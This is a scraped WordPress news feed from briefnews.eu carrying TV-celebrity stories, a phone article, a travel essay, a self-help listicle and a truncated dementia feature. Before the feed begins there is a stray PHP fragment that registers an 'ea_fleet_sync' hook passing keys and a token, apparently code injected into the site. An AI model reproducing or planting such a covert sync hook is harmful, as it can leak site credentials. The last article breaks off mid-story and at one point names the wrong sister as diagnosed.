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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); anything – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 11 Apr 2021 13:45:50 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png anything – Brief News https://briefnews.eu 32 32 James Martin walks off Saturday Morning after guest’s surprising request ‘Anything else!’ https://briefnews.eu/james-martin-walks-off-saturday-morning-after-guests-surprising-request-anything-else/ https://briefnews.eu/james-martin-walks-off-saturday-morning-after-guests-surprising-request-anything-else/#respond Sun, 11 Apr 2021 13:45:50 +0000 https://briefnews.eu/james-martin-walks-off-saturday-morning-after-guests-surprising-request-anything-else/

“Uh oh,” Dipna remarked. “No, don’t say that,” before James added: “It’s okay.”

The cheeky TV chef continued to tease his guest while Dipna continued to prepare her samosa chaat dish.

“Before your masala starts to spit at you,” Dipna noted and James added: “Before it burns the pan.”

“No, it won’t,” she replied. “I’m not going to burn you pan, I’m not, I promise.”

“You better not burn my pan!” James exclaimed and she teased: “I’ll try not to.”

James Martin’s Saturday Morning continues on Saturday on ITV at 9.30am.

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]]> https://briefnews.eu/james-martin-walks-off-saturday-morning-after-guests-surprising-request-anything-else/feed/ 0 Strictly Come Dancing’s Aljaz Skorjanec admits he ‘can’t do anything’ without Janette https://briefnews.eu/strictly-come-dancings-aljaz-skorjanec-admits-he-cant-do-anything-without-janette/ https://briefnews.eu/strictly-come-dancings-aljaz-skorjanec-admits-he-cant-do-anything-without-janette/#respond Sun, 08 Nov 2020 15:01:45 +0000 https://briefnews.eu/strictly-come-dancings-aljaz-skorjanec-admits-he-cant-do-anything-without-janette/

But as Aljaz said, they are just happy the show came back for another series.

“We were just so happy to be dancing again,” the dancer remarked.

“Aljaz and I are normally on tour for the rest of the year and this year we had none of our tours go through,” Janette continued.

“For us to just dance again and be on the show again and be teaching and creating and choreographing, it’s just for us such a privilege.”

Strictly Come Dancing continues tonight on BBC One at 7.25pm.

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]]> https://briefnews.eu/strictly-come-dancings-aljaz-skorjanec-admits-he-cant-do-anything-without-janette/feed/ 0 Nigel Havers slams ‘hostile’ Andrew Marr: ‘You don’t get anything out of MPs’ https://briefnews.eu/nigel-havers-slams-hostile-andrew-marr-you-dont-get-anything-out-of-mps/ https://briefnews.eu/nigel-havers-slams-hostile-andrew-marr-you-dont-get-anything-out-of-mps/#respond Tue, 23 Jun 2020 01:20:42 +0000 https://briefnews.eu/nigel-havers-slams-hostile-andrew-marr-you-dont-get-anything-out-of-mps/

Nigel Havers, 68, presenter of new BBC show The Bidding Room, had a few home truths for renowned political journalist Andrew Marr. Slamming him for his “hostility” towards MP interviewees, Nigel questioned “Why can’t we work together?” at a time where the nation needs as many straight answers from the government as possible.

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As the coronavirus pandemic continues to cause a threat to public health, the UK government are slowly relaxing the lockdown rules in order to get back to some sort of “normal life”.

Government ministers appear on TV every day, doing various interviews for flagship shows such as BBC Breakfast and ITV news, but it appears each MP at one point during this crisis has come under fire for not being direct or willing to answer questions the public want to know.

Taking to social media, viewers have raged at the “incompetence” of certain ministers as they continue to evade certain questions about the rules and certain “mistakes” that have been made.

But others look at it from a different angle and place the blame on the presenters asking the difficult questions.

Nigel is among those who disagrees with the BBC’s coverage of such topics in particular, and admitted he doesn’t watch the news anymore.

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Speaking to Radio Times, the former Coronation Street star snapped: “I’ve gone off the news.

“The BBC has been nothing but doom and gloom. The general public need support and optimism, but that’s not coming from anywhere.

He then targeted one presenter who he feels is especially “hostile”.

“Andrew Marr is very hostile towards whichever MP is sitting opposite,” he described.

“The MP then goes on the defensive and you don’t get anything out of them. Why can’t we work together?”

Nigel also added that he comes from a political background, where his father Baron Havers, a former attorney general, was a politician back in the day.

“My father was a politician in the days when you had a day job and did politics at night in your spare time as a civic duty,” he recalled.

“Nowadays, they leave Oxbridge and go straight to the Westminster bubble.”

Although describing himself as “well informed” in the world of politics, his talents resonate elsewhere – in entertainment.

This year saw Nigel set up his new daytime show The Bidding Room, described by some as a hybrid of Four Rooms and Antiques Roadshow with some added charm of The Repair Shop, whose creators are behind the series.

The BBC program features some of the most intriguing possessions brought in by members of the public for an expert to value, before they face five dealers who bid against each other to purchase the item.

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And the experts have seen it all from a battered teddy bear to a 1930’s hairdryer – nothing is wasted here!

Working with antiques is something of a passion for Nigel, but a passion so big his wife has had to implement strict rules.

When asked by the publication is he is interested in antiques himself, he replied: “Yes. I bought stacks of stuff during the pilot episode, but my wife this time said ‘Please, don’t bring anything else, we’ve nowhere to put it.’

“I did co-buy a bottle of wine for £500 with the experts, and we drank it together. It was a bottle of Château La Prade from 1959 and it was absolutely delicious!”

But the TV star admitted he has some particular specialities he looks out for, including 20th-century British painters and…. stuffed fish.

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]]> https://briefnews.eu/nigel-havers-slams-hostile-andrew-marr-you-dont-get-anything-out-of-mps/feed/ 0 Too Hot to Handle’s Francesca Farago Defends Her Most Controversial Moves: ‘I Don’t Regret Anything That I Did’ https://briefnews.eu/too-hot-to-handles-francesca-farago-defends-her-most-controversial-moves-i-dont-regret-anything-that-i-did/ https://briefnews.eu/too-hot-to-handles-francesca-farago-defends-her-most-controversial-moves-i-dont-regret-anything-that-i-did/#respond Sun, 19 Apr 2020 17:16:37 +0000 https://briefnews.eu/too-hot-to-handles-francesca-farago-defends-her-most-controversial-moves-i-dont-regret-anything-that-i-did/

Heads up, all you chickens and geezers: We’re about to spoil Netflix’s Too Hot to Handle. If you haven’t completed your binge, you might want to… Retreat.

Putting aside the season’s official outcome, no one on Too Hot to Handle played the game as well as breakout star Francesca Farago.

Over the course of eight episodes, the Vancouver-based Instagram model never stopped evolving, gradually giving us every shade of the reality TV rainbow. We watched her tirelessly transform from a doe-eyed ingenue to a vengeful pot-stirrer, before eventually completing the process as an empowered “I didn’t come here to make friends” queen. As far as I’m concerned, when Lana allowed Harry and Francesca — the Ross and Rachel of this sexual circus — to win back their money in the finale, that was merely a thank-you for keeping the season chugging along.

“I was just there to have fun and maybe form a connection with someone,” Francesca tells TVLine. “Once the rules were introduced, and after the initial shock wore off, I basically thought, ‘I didn’t come here expecting to win any money, and we don’t even know how this money’s going to be split.’ So if I felt like kissing someone, I was going to kiss someone. I didn’t care how much money I lost, which is probably why I ended up losing the most out of everyone in the house. But that was my mindset, to have fun and entertain myself as much as I could. As much as I made everyone mad, I don’t regret anything that I did.”

In the interest of seeing just how little she regrets, TVLine asked Francesca to walk us through some of the season’s most controversial moments, many of which were direct results of her own actions. And we thank her for that.

Browse our gallery of Francesca’s most shocking moments, explained — you can click here for direct access — then drop a comment with your thoughts on Too Hot to Handle’s first season below.

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]]> https://briefnews.eu/too-hot-to-handles-francesca-farago-defends-her-most-controversial-moves-i-dont-regret-anything-that-i-did/feed/ 0 BBC blasted by John Challis for CENSORING Only Fools and Horses ‘you can’t say anything!’ https://briefnews.eu/bbc-blasted-by-john-challis-for-censoring-only-fools-and-horses-you-cant-say-anything/ https://briefnews.eu/bbc-blasted-by-john-challis-for-censoring-only-fools-and-horses-you-cant-say-anything/#respond Mon, 25 Nov 2019 17:25:48 +0000 http://briefnews.eu/bbc-blasted-by-john-challis-for-censoring-only-fools-and-horses-you-cant-say-anything/

TV legend John Challis criticised plans to censor classic British sitcoms like Only Fools and Horses for being “offensive” to modern audiences. British streaming service Britbox – a subscription service led by the BBC, ITV and Channel 4 – was launched earlier this month. However, its decision to “censor” and attach sensitivity warnings to shows that could offend modern sensibilities have drawn widespread criticism.

The bespoke warnings will label specific episodes – with one Only Fools and Horses episode and almost every episode of Fawlty Towers impacted.

Only Fools and Horses star John Challis spoke out against the move during an appearance on the Jeremy Vine show this morning.

Challis questioned why it was right that a show like Only Fools and Horses, that was “still enjoyed by hundreds every day”, could be taken down because it offends “two or three people”.

He recommended that people who are offended by these programmes “simply choose to not watch them”.

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Challis said: “Well Only Fools and Horses still shows every day.

“But, jokes in that show that used to get an enormous laugh at the time 30 years ago now don’t. Is that acceptable now, or not?

“Hundreds of people who watch the show I was in, and think what a relief, we can laugh at that.

“What has happened to comedy now because you can’t say anything that might offend one or two people. Is that right?”

Till Death Do Us Part includes the bigoted character Alf Garnett, while Love Thy Neighbour features a West Indian couple who move next door to a white English couple.

An ITV spokesperson added: “We’ve carefully selected a wide range of the very best in British programming which will appeal to viewers in 2019.”

Following the launch of BritBox, a spokesperson confirmed that the “vast majority” of British shows will disappear from Netflix within the next year.

Reemah Sakaan, the ITV executive leading Britbox, acknowledged that “changing tastes” were a factor in the selection process and some material had not aged well.

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]]> https://briefnews.eu/bbc-blasted-by-john-challis-for-censoring-only-fools-and-horses-you-cant-say-anything/feed/ 0 Xiaomi’s fake-transparent Mi 9 isn’t hiding anything https://briefnews.eu/xiaomis-fake-transparent-mi-9-isnt-hiding-anything/ https://briefnews.eu/xiaomis-fake-transparent-mi-9-isnt-hiding-anything/#respond Tue, 19 Feb 2019 07:12:27 +0000 http://briefnews.eu/xiaomis-fake-transparent-mi-9-isnt-hiding-anything/

Remember that transparent Xiaomi Mi 8 phone that doesn’t actually show what’s inside the device? It must have gotten a pretty good reception, because the phonemaker has gone through the trouble of designing a fake-transparent version of the upcoming Mi 9. Xiaomi chief Lei Jun has posted some photos, which look like renders, of the Mi 9 Explorer Edition on Chinese social media platform Weibo.

As Android Police noted, the company has taken a different approach this time. Instead of insisting that the circuit board visible to the eye is the real deal like the company did with the Mi 8, Jun has laid out how Xiaomi etched a stark design on a 0.3mm aluminum sheet. He explained that the phonemaker will carve out the design on the sheet with a CNC machine using a tiny cutter to create all its tiny details.

Xiaomi

In addition to explaining the process, Jun has also revealed that the phone will be equipped with a 7-piece lens, 48-megapixel rear AI-powered camera that features an f/1.47 aperture and 12GB of RAM. Like the Mi 8 Explorer Edition, the fake board comes with a prominent shoutout to Qualcomm, though it does have other written elements, including “Battle Angel,” “Mi Fans” and “Super Mi.” Jun said the aluminum sheet also acts as a heat sink, so it’s not purely a visual element.

Unfortunately, it’s not clear if the Explorer Edition will be released at the same time as the basic Mi 9 later this month. Xiaomi started selling the transparent version of the Mi 8 a couple of months after the device’s launch date, though, so you might have to wait for this one, as well.

Via: Android Police

Source: Lei Jun (Weibo)

]]> https://briefnews.eu/xiaomis-fake-transparent-mi-9-isnt-hiding-anything/feed/ 0 How routine can help you climb mountains and conquer anything https://briefnews.eu/how-routine-can-help-you-climb-mountains-and-conquer-anything/ https://briefnews.eu/how-routine-can-help-you-climb-mountains-and-conquer-anything/#respond Wed, 30 Jan 2019 07:28:41 +0000 http://briefnews.eu/how-routine-can-help-you-climb-mountains-and-conquer-anything/
Leon McCarron

Many of us travel to escape the routine of everyday life. But, for better or worse, routine can have a habit of following you around the world. Just ask Leon McCarron.

I remember thinking it seemed stupid to be using an alarm clock in a desert. We forced ourselves to wake an hour before the sun rose, because it was winter and the days were short and we had a long way to go.

But it was also early, and dark, and we were tired. The Gobi is the largest cold desert in the world outside of Antarctica and, in November—when we’d decided to try and walk across it—the temperature dropped to as low as -20C overnight.

I’d force open my eyes and feel the sting of the air. The inside of a cold tent in darkness is rarely inspiring. My companion Rob was doing the same thing in his tent beside me—we’d grunt a greeting to make sure the other wasn’t sneaking a few moments of extra sleep. Still cocooned inside my sleeping bag, I’d then open a bar of chocolate and devour the whole thing. That decadent sugar rush was a key buffer of pleasure, because none of the next steps were fun; getting out of the bag, changing clothes, packing away kit.

And in 2012, while crossing the Empty Quarter desert, my friend Alastair and I would walk until the heat became too much. As soon as we agreed it was too unpleasant to continue, we’d stop, unload the dates and bread and peanut butter from the cart we were dragging, eat quickly, then climb under the trolley to make use of the only shade for hundreds of miles around.

These small details are the constants around the changeable aspects of travel. They help me relax into (and enjoy) the rest of the uncertainty, and they’re my way of putting the more banal parts of life on the road (waking up early, doing chores) into some sort of structure; a marker for the more fun parts, like eating pasta and watching the stars by the banks of a small river in the middle of South Dakota.

This ‘routine’ also helps me travel better. Through these habits, I’m able to develop a confidence in my ability to ‘control the controllables’. I relax, knowing the basics are taken care of, leaving me free to expend more energy on everything else, be that experiential or creative.

I know I’m not alone in this; even the greats talk of the benefit of routine. Hunter S. Thompson, the infamous gonzo journalist, claims to have had a ludicrous (but rigid) schedule of drink, drugs and writing on the road. Meanwhile, Ernest Hemingway would rise at 5.30am each day, whether at home or traveling—and regardless of how late he’d stayed out the night before.

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The polar explorers I so admired when I was younger—Nansen, Scott, Shackleton and Amundsen—were much more wholesome and focused on a singular task. They wrote in detail of the minutiae of their routines for waking, eating, sleeping and making distance.

It’s true they relied on such discipline to prevent scurvy and starvation– thankfully, few of the rest of us need worry about that now—but their rituals still gave structure to otherwise overwhelming undertakings. At the root of their great achievements was a dogged dedication to completing the simplest tasks of all. Perhaps that’s worthy of admiration too—albeit a lot less compelling as their endurance, ambition and willingness to push to the extremes of human capability.

On a modest scale, I have occasionally attempted to do something that, if I thought too much about it, terrified me almost to the point of inaction. While walking some 4,800 kilometers from Mongolia to Hong Kong, I designed a series of daily rituals that distracted me from the sheer scale of the trip.

Instead—day by day, meal by meal, campsite by campsite—a rather grand undertaking became very manageable. It’s easy to fall into cliché here (I’m stopping short of telling you that a 4,800-kilometer journey is completed one step at a time) but articulating this to myself was somewhat of a revelation: Routine, and discipline, give me a much greater chance of successfully completing an expedition. It also gives me a much better chance of enjoying myself, and producing something worthwhile at the end of it.

Currey reflects that the word routine can sometimes, “connote ordinariness, and even a lack of thought. But one’s daily routine … is also a whole series of choices. In the right hands, it can be a finely calibrated mechanism for taking advantage of limited resources: Time, as well as will-power, self-discipline, optimism.”

This holds true for travel too. To stick too rigidly to an everyday schedule would be foolish when moving between new places, but to aim for certain recognizable, replicable elements has certainly helped me. What I’ve learned is I need a push to get up and make the most of the day.

I also know that I’m receptive to simple incentivizing, such as allowing myself to eat a bar of chocolate in a cold tent in Mongolia. Acknowledging that routine is not necessarily a bad thing has been a great reward for me. I’d even take that further—it’s the bedrock of good travel experiences and productive story-gathering. Now, every time I set out, I can ease into the days with a little more sureness. That—a sense of confidence—is worth its weight in gold.

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]]> https://briefnews.eu/how-routine-can-help-you-climb-mountains-and-conquer-anything/feed/ 0 ‘Won’t change anything’: Why Utd should ‘stick with’ Mourinho https://briefnews.eu/wont-change-anything-why-utd-should-stick-with-mourinho/ https://briefnews.eu/wont-change-anything-why-utd-should-stick-with-mourinho/#respond Mon, 26 Nov 2018 23:28:10 +0000 http://briefnews.eu/wont-change-anything-why-utd-should-stick-with-mourinho/ Ryan Giggs has backed Jose Mourinho to turn Manchester United’s season around and says sacking him will not change anything.

Mourinho’s challenge to his players to be in the top four by 2019 may already be over after drawing at home to Crystal Palace on Saturday, according to Giggs.

The former United captain believes the club “needed to win every game” to achieve that, but has urged the club’s hierarchy to keep Mourinho in charge in order to bring back stability.

“I don’t see why changing the manager at this stage will change anything,” Giggs told Sky Sports News.

“Everyone knows what a successful manager he’s been over the years. I believe that bit of stability we’ve not had over the years – we need to stick with him.

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“But results also need to change. I think we’ve got the manager, the players to do that.”

Giggs described Manchester United’s season so far as “inconsistent and frustrating”.

He says the form of United’s rivals means “each game you don’t win, the task of reaching the top four is getting tougher”.

Mourinho questioned his players’ heart after the goalless draw with Palace, while Giggs believes the team are suffering from a crisis of confidence.

He the club to take a “baby steps” approach to turning their form around.

“Manchester City and Liverpool, the teams up there, they are consistent,” he added. “When you’re not the gap is obviously going to be big.

“When your nearest rivals are that far ahead of you it’s hard to take. It’s still 13 games into the season, time to claw it back.

“But the only way of doing that is going on a run of seven or eight games unbeaten – small steps to build that confidence back up.”

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]]> https://briefnews.eu/wont-change-anything-why-utd-should-stick-with-mourinho/feed/ 0 11 Secrets to Becoming Successful at Anything You Can Imagine https://briefnews.eu/11-secrets-to-becoming-successful-at-anything-you-can-imagine/ https://briefnews.eu/11-secrets-to-becoming-successful-at-anything-you-can-imagine/#respond Tue, 02 Oct 2018 17:06:47 +0000 http://briefnews.eu/11-secrets-to-becoming-successful-at-anything-you-can-imagine/ You’re here because you want to be successful. But why aren’t you there yet? What is stopping you?

I’m here to tell you. Success is not by accident, far from it. But there are some proven ways to achieve it.

In this article, I’ve done the heavy lifting for you of finding out the 11 actionable steps you can take to become successful.

Once you follow these, you’ll not only become more successful, but be able to apply them to any goal you set for yourself.

So here are 11 secrets to becoming successful at anything you can imagine:

1. The Math Formula That Explains Success

There’s a really smart psychologist called Kurt Lewin who summarized why we act the way we do, through a simple formula.

I’m simplifying his theory, but the basic equation he came up with was:

P = F(P,E)

Translated, what he surmized was:

“Behaviour is a function of the person and his or her environment.”

Now academic theories are great but how does this equation help you?

Think of it this way. When you have a really important deadline, where are you more likely to be productive?

In a quiet room at your local library or sitting on the couch with the TV on?

Quite clearly, the former.

Where we are, affects the way we behave. Some places more so than others, but you get the idea.

What you should do now:

If you want to be successful, put yourself in environments that are likely to create the behaviours you want. Here’s some ideas:

  • If you want to get more in touch with religious or spiritual practices, go to a temple/place of worship once per week for 30 minutes and meditate there.
  • If you want to improve your strength and stamina, go to a gym class everyday instead of trying to workout at home on your own.

2. Create Your Own Success Formula

Have you ever started on a big goal or path, been really motivated but somewhere along the line – fallen off track?

One big mistake many people make that leads to falling off track is a lack of measuring their progress.

I used to do this a lot in the gym.

I’d spend hours and hours each week making the effort to get there and workout. I’d share the classic photo of me at the gym doing my workout – but you know the truth?

I wasn’t really feeling all that good about it!

Every time I stepped on the scales, I’d dread seeing the result. My progress was up and down and I didn’t understand why.

The fact was, I was leaving too many variables on the table. I failed to appreciate the importance of tracking.

After working with a coach, I realized I needed to pay closer attention to my diet, workouts and sleep. I started tracking each one carefully and quickly noticed when I was eating too much, not lifting properly or getting enough sleep.

Previously, I would just walk into the gym, pick whichever weight I thought I’d bench pressed the week before or felt I could manage. It was completely random.

By tracking, I learned to ensure I was progressing 1% on the last time.

Can you guess what happened?

I progressed.

What you measure, you manage.

What you should do now:

Whatever it is you’re working towards, ask yourself – how can I track and measure my progress?

For example:

  • If you want to save money, track how much you are spending each week and how much you are saving. Aim to improve it by 5% each month.
  • If you want to learn an instrument, record a video each week of you playing the same song. Each week watch it back to see how you have progressed. Track how many hours you practice in a log.

3. The Key Habit That Multiplies Success

Measuring and managing your progress is important, but as one of my coaching clients once said: “In the absence of reflection, nothing changes”.

For example, let’s say you want to eat healthily and you start tracking your diet. You soon notice that you tend to overeat on weekends.

It’s great to track this but what are you going to do about it? What is the deeper underlying reason that you keep behaving this way?

When studying for my diploma in Neuro Linguistic Programming, one of the first things we learned was that every behaviour has a positive intention behind it.

We do things because they give us something in return. Uncover what those are.

What you should do now:

A powerful way to change unhelpful behaviours is to explore the intentions behind them. To look back and understand what is happening and what to do.

  • Each week, reflect and write down what you learned, what you avoided, and what you are going to change the next week.
  • Read books on self improvement, particularly in areas you wish to improve. For example, Brene Brown has great content on vulnerability.

4. A Simple Question That Doubles Your Commitment

This might surprise you. But are you trying to fail instead of succeed?

Often we fear committing fully to our success because we fear what it means to commit 100%.

One powerful idea I picked up (from Derek Sivers) was the concept of being a very clear absolute yes or an absolute no to things.

It’s a simple concept but one which creates immense clarity and saves you so much time and effort.

This creates space for two things to happen in your life:

The first is to avoid anything which is heavy and a chore. The second is to leave space and time for you to give everything to the things you are an absolute yes to.

Sometimes we do things half heartedly and this leads to stagnation and mediocrity.

But to succeed, you really do have to remain 100% committed in your intentions and actions.

What you should do now:

Ask yourself honestly:

What are you an absolute yes to right now? And what things are an absolute no?

  • If you’re reading a book you don’t like, put it down and start reading something more useful or interesting to you. It’s okay to not finish a mediocre book!
  • If you’re in a job that you really dislike, stop trying to force it and accept that it’s an absolute no. Think through what an absolute yes might be and start adjusting to make it happen

5. Drastically Increase Your Brain Power

The hidden secret behind many successful people is that they are not successful on their own. They have advisors, coaches, family members, mentors all helping them along the way.

An unfortunate characteristic of our time is that we try to do things on our own too often. A much faster way however is to seek the counsel of wise people.

Who knows more than you? Who knows what works and doesn’t?

Find those people and ask them to share those fundamentals with you.

What you should do now:

For each area of your life that you wish to be successful in, come up with some ideas of who can help you along the way.

  • The first thing I would recommend is to hire an accredited and professional life coach. They can help you strategise better and achieve your goals faster than you would on your own.
  • If you want to learn a language faster, find a native speaker to tutor you once per week for 1 hour. It shouldn’t cost a lot and will speed up your progress a lot.
  • Subscribe to YouTube channels that share useful ideas and information. I’d also recommend others like TED talks, the SciShow, and Crash Course.

6. Pick Up the Right Mindset That Shapes Our Lives

What do the world’s top psychologists recommend when it comes to being successful?

Is there a way of thinking you could download that makes you 10x more likely to win?

The short answer, yes!

It’s called a growth mindset.

Carol Dweck, in her seminal work ‘Mindset’, shares countless examples of the two mindsets people generally have – a fixed or a growth mindset.

Individuals with a fixed mindset have a generally rigid perspective on their talents and abilities. They believe that their intelligence and talent is fixed. Genetic. Unchangeable.

Individuals with a growth mindset have an open, more hope filled perspective on their talents and capabilities. They believe that they can learn new things and improve at the areas they are weak on if they put the time in.

I’m sure you can guess which of the two is a marker of success.

The growth mindset.

By always seeking to learn, no matter the position, emotion or outcome you have in life – you are constantly gaining insights and experience.

Even if things don’t go as you wish, and you fail miserably, the individual with a growth mindset seeks to learn first, rather than succeed or fail.

Do you see how valuable this is? How do you stop someone who always learns and grows from any experience or setback?

What you should do now:

Focus your goals more on learning and development than simple success or failure.

For example:

  • If you’re fearful of public speaking, focus on how you can improve, rather than be perfect at it. What can you learn? Who from?
  • If you feel you are not a very confident person, focus on how you can model those who are. Every master was once a beginner. What could make you a bit more confident today?

7. Learn How Successful People Plan

I’m part of a private invite only mastermind group. Each week we share our insights, reflections and milestones with each other for accountability.

Instead of setting a vague goal far off in the horizon, we challenge each other to make them time bound and manageable.

Want to be a successful entrepreneur? OK, what is 10% of that goal being achieved? How do you know when you are at 50%? What are the steps to get there?

A vague goal leads to procrastination and overwhelm.

By breaking your success down into clear steps and milestones, you allow yourself to celebrate the small wins along the way and feel more motivated.

Success takes longer than we think and this allows you stay focused along the way.

What you should do now:

Write your goals down and check if they are vague and general, or specific and time bound. Bring them closer to reality by setting them on a gradient. What is a clear sign of 10% progress being made?

  • If you want to be a successful YouTuber with 1 million subscribers – break it down. What does 5% look like? What do you need to do to achieve that? When?
  • Schedule these milestones into your diary so you don’t forget. Set up reminders everywhere so it’s not left to chance.

8. Understand the Benefits of Benevolence

I’ve broken down the 6 fundamental pillars of a meaningful life in one of my courses. One of them is contribution. It’s very easy to get stuck in the grind of our day to day.

And we all know that our existence is very fragile and limited. Who knows how much more time we have left?

So what are you leaving behind?

The money you’re making right now, what purpose does it serve beyond paying the bills?

What matters to you?

What you should do now:

Make a clear list on paper of causes you are interested in or care about. Research them and find some organisations or people to support.

This could be by:

  • Becoming an advisor and sharing your skills and expertise. In my company, we equip young people from low income backgrounds for life beyond the classroom. We have a group of experts on our advisory board who critique, challenge and support us. It helps us in a very meaningful way, and allows them to contribute too.
  • Making a monthly donation. Even something as small as $ 3/month, does make a difference.

#9. Don’t Work Hard (But Do This Instead)

The fact is you do have to work hard to achieve things in life. It takes long hours of work, over long periods of time.

But wouldn’t you much rather have fun and play, like you did as a kid?

One huge, secret hack I stumbled on early on in my career (with the help of a life coach I worked with) was playing over hustling.

I mistakenly believed I needed to work really really hard all the time to achieve success.

Don’t get me wrong. This is obviously true.

But in the back of mind it created a bit of resistance.

My to-do lists seemed endless. Just thinking about work drained my energy, let alone doing it.

So I did what so many of us do. Avoid, procrastinate, and delay.

Until I learned this little secret.

What if I replace the word ‘work’, and focused on ‘play’?

I wouldn’t see it as hard, face crunching work. I’d see what I do as a fun game I was trying to win at.

There would be no hustle. Just a curious kid (with a beard) on an adventure.

What you should do now:

Where in your life are you making things mentally tiring and complex? How could you approach your work in a more playful and curious way?

For example:

  • If you want to build productive habits like journalling everyday. How could you make it more fun? Could you use glitter and crayons? Could you treat it like an art class in school?
  • One of my goals to be more active is to do 10,000 steps everyday. Sometimes, it seems like a chore. So I took my 5 year old niece with me and it immediately became a fun game of hide & seek.

10. Work Less But Do and Succeed More

Sorry to be cliche and quote Tony Robbins in my success article, but he said something powerful in a clip I saw recently:

Average people, major in minor things.

The moment I heard this, a surge of insight whizzed through my brain. Like all great ideas, it made total sense to me.

I kicked myself. If only I’d seen this sooner!

Which actions that I take, give me the biggest impact on my goal? What is easy to do, and achieves the most success?

What you should do now:

Not all action is created equal. Reviewing what you are doing, and where you spend most of your time in trying to achieve your goals.

For example:

  • If you’re trying to get lean and toned, what is the number one habit that has the biggest impact on your success?
  • If you’re trying to build a positive culture in your workplace, what simple thing can you do that has the greatest success?

11. Focus On Process, Not End Results

And finally, what if I told you success actually isn’t what you should aim for but something else instead?

I know, you’d be surprised right. Why would I dissuade you from trying to succeed?

Hear me out:

We focus on the success we want, and these are important – building a business, becoming healthier, more fulfilled, more positive etc.

However, these end outcomes will only keep us happy for so long. These things are not where your real value and growth lies.

By focusing on these end results, we dampen our efforts and become trapped in a fixed mindset of succeeding or failing. It sets you up for a rollercoaster ride of ups and downs.

Instead, what the world’s top performers realize is that it’s much better to focus on the quantity and repetitions – not the outcomes.

Writing 1 book every year is more important than the perfect bestselling book. Making 100 cold calls every day to your target customers is more important than the perfect pitch.

What you should next:

Instead of trying to craft the perfect habit or result. Focus on improving the process that creates those outcomes.

For example:

  • If you want to become a great midfielder in soccer, focus on improving your skills and technique everyday. Instead of dreaming about the perfect high paid contract.
  • If you want to launch an acclaimed business, focus on creating the small viable product and selling to 1,000 customers first. Instead of trying to craft the perfect product no one really wants.

Conclusion

If you want to become successful at anything you can imagine, follow these 11 steps:

  1. Be in the best environments possible.
  2. Track and measure your progress along the way.
  3. Reflect regularly on what is going well and what needs to change.
  4. Ensure you have done all you can to stay 100% committed. Be hell yes or no.
  5. Have experts and advisors around you to help.
  6. Cultivate a curious and open growth mindset where you are passionate about learning.
  7. Create clear milestones of progress so you stay motivated and focused.
  8. Give back and contribute to causes you care about to create a strong sense of purpose to your life.
  9. Focus on enjoying the journey and having fun along the way. Not just when you achieve “success”.
  10. Spend your time and energy on the fundamental things which bring the biggest rewards.
  11. Let go of perfect outcomes and pay attention to improving your process to success.

Follow these steps, practice them every day and measure your progress. Gradually you’ll get closer to success in anything you want.

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Fronto-temporal dementia is hereditary but normally strikes between the ages of 45 and 65 (Image: GETTY)

AS SHE is talking, Sophie Gilbert spots her older sister Becky Barletta returning from a walk in the Suffolk countryside with her carer. 

Becky, 33, is wearing her blonde hair loose with sunglasses and a cap on. 

When she enters her kitchen Sophie, 31, asks breezily: “Did you have a nice walk?” Becky looks towards her but does not respond and her face remains expressionless.

“To anyone meeting her for the first time she would look like a normal person and she can definitely hear me,” Sophie tells me quietly. 

“But the real Becks is no longer there. The sparkle has completely gone. We all love her but she doesn’t look like our Becky any more. 

“She was absolutely stunning and vibrant and took great care of her appearance but we are now living with the shell of our lovely girl.” 

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Two years ago this week Sophie was diagnosed with a rare form of dementia which runs in her family. 

Fronto-temporal dementia is hereditary but normally strikes between the ages of 45 and 65. 

Becky, a professional ski instructor who used to work at Richard Branson’s chalet in the upmarket Swiss resort of Verbier, was just 31 when she received her diagnosis – just 10 months after getting married to her devoted husband Luca, an Italian and a fellow ski instructor. 

She is believed to be one of the youngest patients ever struck down by the disease. “Every night I hope she is happy in herself but you just can’t tell,” Sophie explains.

“There is no anguish, no pain, but neither is there any happiness or joy. There is nothing.” 

During the past 24 months, Becky’s deterioration has been merciless as the parts of her brain concerned with emotion and behaviour have been slowly destroyed. 

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A healthy diet can cut the risk of developing dementia (Image: GETTY)

My goal in speaking out to raise money is that my children don’t have to worry about a hereditary disease that ends lives without dignity

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“She might copy a word or scream out occasionally but she doesn’t talk any more. It’s not that she can’t speak but that she doesn’t and that has happened in the past six months. 

“Eventually you lose everything. The only unknowns are in what order and at what speed,” explains Sophie, who will officially open the Ipswich Memory Walk this Sunday, raising money for the Alzheimer’s Society. 

Last year the family helped raise more than £10,000 for the charity from their own Memory Walk.

GROWING up in Suffolk, Sophie and Becky were always close but it was the elder sister who seemed to outshine the younger. 

“I was in awe of her growing up,” admits Sophie. 

“When my friends would come to play they would play with her. She was always thin while I was a bit dumpy and she was always the beautiful one. She was also the one who put 100 per cent of effort into things, and she was more sporty. 

“She was the last person on earth you would have imagined this would happen to. She was a photographer, she loved to travel, she loved music and bands, and she was a ski instructor. She had hundreds of friends around the world. She was hugely popular.”

But it was shortly before her wedding in October 2015 that Sophie and her parents, Caroline, 62, and Allan, 69, began to notice subtle changes in Becky’s behaviour. 

Her reactions became “slightly one-dimensional” and she appeared to be losing her empathy. 

When Caroline and Sophie arrived to help with her wedding flowers, Becky wasn’t there but neither was she concerned by her oversight. 

She also stopped asking after her baby nephew, Sophie’s son Alfie, now three. 

“We hoped it was a bit of a breakdown caused by the stress of the wedding or perhaps an eating disorder. But I can see now we were making excuses.” 

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Exercise and frequent check-ups can preserve mental function into old age (Image: GETTY)

What the family were trying to deny was any suggestion that their “charismatic blonde bombshell” might be succumbing to a disease that had already robbed Caroline of her brother James at the age of 59 and her niece – Sophie and Becky’s cousin – in her 40s.

The first clear signpost came when Becky returned to Verbier after her marriage and was suspended.

“She was always wonderful with the children and returning clients each year asked for Becky but she stopped watching the children as closely as she should. She was also sharing more personal details with clients than she should have.” 

Allan and Caroline flew to Verbier. 

“Mum took one look at her and arranged for her to be seen by the same consultant who had treated her brother.” 

When the shattering diagnosis came Becky was protected from its full force by the illness itself. 

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“She just said, ‘Oh, I don’t want that.’ 

And this was the only time she showed any insight at all. 

Mum started crying and Becky asked why. 

She could recognise obvious emotions but she could not relate to them. 

